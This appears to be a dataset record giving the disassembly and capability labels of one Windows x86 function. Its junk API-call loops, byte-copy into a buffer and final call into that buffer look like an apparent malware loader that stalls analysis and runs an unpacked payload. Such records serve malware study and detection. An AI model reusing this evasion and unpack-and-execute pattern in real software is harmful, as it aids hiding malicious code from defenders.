Function at 0x403530
Capabilities:
Delete directory
Get common file path
Get file attributes
Get uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x4604db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1330
call fcn.0040e900
cmp dword [0x4d7e7c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x403657
lea eax, [esp + 0xcc]
push eax
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov dword [esp + 0xf4], 0xf
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
push ebx
mov dword [esp + 0x1380], ebx
call fcn.00404188
add esp, 4
push ebx
push ebx
call fcn.00404422
add esp, 8
lea ecx, [esp + 0x34]
call fcn.004041bc
lea ecx, [esp + 0x34]
call fcn.0040429a
push 1
push 0x463540
lea ecx, [esp + 0x3c]
call fcn.00404220
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], 0x402e00
call fcn.0040429a
push ebx
call fcn.00404549
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.0040470f
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004043f0
fstp st(0)
add esp, 0x10
mov dword [esp + 0x137c], 0xffffffff
cmp dword [esp + 0xf4], 0x10
jb 0x403659
mov edx, dword [esp + 0xe0]
push edx
call fcn.0040453e
add esp, 4
jmp 0x403659
xor ebx, ebx
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
cmp esi, 0xd29a
jge 0x403674
push ebx
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, 0x140e1
jl 0x403661
add dword [0x4d7e7c], 0x11b1b
call fcn.00403450
call fcn.00403470
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
xor esi, esi
cmp dword [0x4d7e7c], ebx
jbe 0x403739
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ebp, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [0x4d881c]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x4d4d84]
mov byte [eax + esi], dl
cmp dword [0x4d7e7c], 0xa8
jne 0x40372a
push 0
push 0
push 0
call ebx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
xor edx, edx
xor eax, eax
mov word [esp + 0x26], ax
lea ecx, [esp + 0x30]
push ecx
mov word [esp + 0x28], dx
mov edx, dword [esp + 0x28]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xd8]
push ecx
push 0
call edi
inc esi
cmp esi, dword [0x4d7e7c]
jb 0x4036b1
xor ebx, ebx
mov esi, dword [esp + 0x2c]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebx, dword [sym.imp.KERNEL32.dll_AttachConsole]
xor eax, eax
mov dword [esp + 0x28], eax
mov edx, dword [0x4d7e7c]
add edx, eax
cmp edx, 0xe
jne 0x4037ed
push 0
push 0
push 0
call sub.KERNEL32.dll_SetConsoleDisplayMode
call ebp
xor eax, eax
xor ecx, ecx
mov word [esp + 0x26], cx
lea edx, [esp + 0x2c]
push edx
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xd8]
push edx
push 0
call edi
push 0
call ebx
lea eax, [esp + 0x120]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x30
lea ecx, [esp + 0xe4]
push 0
push ecx
mov dword [esp + 0xe8], 0
call fcn.00407590
add esp, 0xc
push esi
lea edx, [esp + 0xe0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [esp + 0x28]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x28], eax
jl 0x40374f
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403808
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ecx]
call edi
cmp esi, 0x3ba47d4
jge 0x403c36
mov dword [esp + 0x64], 0xe4ed074
mov dword [esp + 0xac], 0x5420d43
mov dword [esp + 0x2c], 0x10a78263
mov dword [esp + 0x54], 0x7c3d17e
mov dword [esp + 0x6c], 0x497f36b8
mov dword [esp + 0x48], 0x641ec599
mov dword [esp + 0x9c], 0x1bd71606
mov dword [esp + 0x98], 0x7992305d
mov dword [esp + 0xa8], 0x29ad751b
mov dword [esp + 0x68], 0x3001d4a8
mov dword [esp + 0x7c], 0x441f30de
mov dword [esp + 0xc8], 0x5afca5b7
mov dword [esp + 0x70], 0x431b2ca2
mov dword [esp + 0x58], 0x37d2dcbc
mov dword [esp + 0x44], 0x31c00e19
mov dword [esp + 0xc0], 0x25827540
mov dword [esp + 0x88], 0xdac66bc
mov dword [esp + 0x4c], 0x64d52cc1
mov dword [esp + 0xa0], 0x34c65f6f
mov dword [esp + 0x90], 0x73fdda6e
mov dword [esp + 0x50], 0x4e451508
mov dword [esp + 0xb8], 0x516a418e
mov dword [esp + 0x30], 0x690c9616
mov dword [esp + 0x60], 0x4ab11750
mov dword [esp + 0x8c], 0x4195043
mov dword [esp + 0xbc], 0x655b6d8c
mov dword [esp + 0x74], 0xecd1e01
mov dword [esp + 0x94], 0x12fcaaed
mov dword [esp + 0x40], 0x45dc35e
mov dword [esp + 0x34], 0x54f82ac9
mov dword [esp + 0x24], 0x25a9fe80
mov dword [esp + 0xa4], 0x21c743fd
mov dword [esp + 0x80], 0x338b8020
mov dword [esp + 0xcc], 0x20f97bcd
mov dword [esp + 0x78], 0x7bbec604
mov dword [esp + 0x5c], 0x1c62592f
mov dword [esp + 0xb4], 0x2ab3b125
mov dword [esp + 0xc4], 0x5fb7d8c4
mov dword [esp + 0x28], 0x66f6c7aa
mov dword [esp + 0xb0], 0x1feab2a2
mov dword [esp + 0x84], 0x45edd9b1
mov eax, 0x8fece8e
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
sub dword [esp + 0x64], 0x7a9fb392
sub dword [esp + 0x64], 0x7822d7af
sub dword [esp + 0x64], 0x360bd7bf
sub dword [esp + 0x64], 0x24f9b9c4
mov eax, 0x68a7e82c
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x36271457
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, 0x1fc8bfad
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0xac], 0x209778b2
sub dword [esp + 0x2c], 0x1ae69fb7
add dword [esp + 0x54], 0x3b05de47
add dword [esp + 0x6c], 0x6ab90218
mov eax, 0x69eccf1c
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x4a4e0ecf
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
add dword [esp + 0x64], 0x504e8765
add dword [esp + 0xac], 0x3c9f7595
add dword [esp + 0x6c], 0x4e33095
mov eax, 0x446ef157
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x57fd3cfa
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0xc8], 0x3a7ad023
sub dword [esp + 0xa8], 0x59bdfe55
add dword [esp + 0x7c], 0x7781908c
mov eax, 0x73e4e5a3
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0xac], 0x2810496b
mov eax, 0x6626a36e
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
sub dword [esp + 0xac], 0x46b62018
mov eax, 0x23604659
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x2a9a98e9
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0x2c], 0x69969aaf
add dword [esp + 0x48], 0x3c49e8f0
sub dword [esp + 0xac], 0x4de48f07
add dword [esp + 0x90], 0x3436063c
mov eax, 0x174d5c4
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x2c], 0x184f2913
sub dword [esp + 0x98], 0x642e844b
add dword [esp + 0x70], 0x4735a73a
add dword [esp + 0x70], 0x18944d04
sub dword [esp + 0x7c], 0x77902b90
add dword [esp + 0x7c], 0x3fc322c6
sub dword [esp + 0x54], 0x6ea0c6f
sub dword [esp + 0x68], 0x2e56d3f8
mov eax, 0x2ae97b08
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
sub dword [esp + 0x60], 0x66d891cd
sub dword [esp + 0x98], 0x25c902c8
mov eax, 0x44d3c05a
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
sub dword [esp + 0x70], 0x28440cbc
mov eax, 0x44ade672
mul dword [esp + 0xa8]
mov eax, dword [esp + 0xa8]
add dword [esp + 0x54], 0x1b0114de
add dword [esp + 0x9c], 0x536dd4b9
sub dword [esp + 0x4c], 0x37d84e16
mov eax, 0xf7f03db
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
add dword [esp + 0x34], 0x4dd43080
mov eax, 0x2a0671b2
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0x74], 0xa221b7f
mov eax, 0x80f0313
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
sub dword [esp + 0x94], 0x34a973db
mov eax, 0xeea7189
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x30], 0x3d340059
add dword [esp + 0x40], 0x2f1cd4b4
cmp esi, 0xbf5719
jg 0x403c4b
inc esi
cmp esi, 0x19ddaa38
jl 0x403820
call fcn.00403320
xor edx, edx
cmp edx, 0x26
jne 0x403c5c
call fcn.00403430
inc edx
cmp edx, 0x409495
jl 0x403c52
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov ebp, 0x7b
lea esp, [esp]
cmp dword [0x4d7e7c], 0x86
jne 0x403c9f
push 0
call esi
push 0x402db0
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403c80
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
mov dword [esp + 0x28], 0x180ef
cmp dword [0x4d7e7c], 0x1f
jne 0x403d14
push 0
lea ecx, [esp + 0x344]
push ecx
call esi
push 0
lea edx, [esp + 0x44]
push edx
push 0
lea eax, [esp + 0xb4c]
push eax
push 0
call edi
push 0
lea ecx, [esp + 0x744]
push ecx
call esi
push 0
push 0
push 0
push 0
call ebx
push 0
lea edx, [esp + 0xf44]
push edx
push 0
push 0
call ebp
sub dword [esp + 0x28], 1
jne 0x403cc4
call fcn.00403090
mov eax, dword [0x4d4d84]
mov dword [0x4d7e70], eax
call eax
mov ecx, dword [esp + 0x1374]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret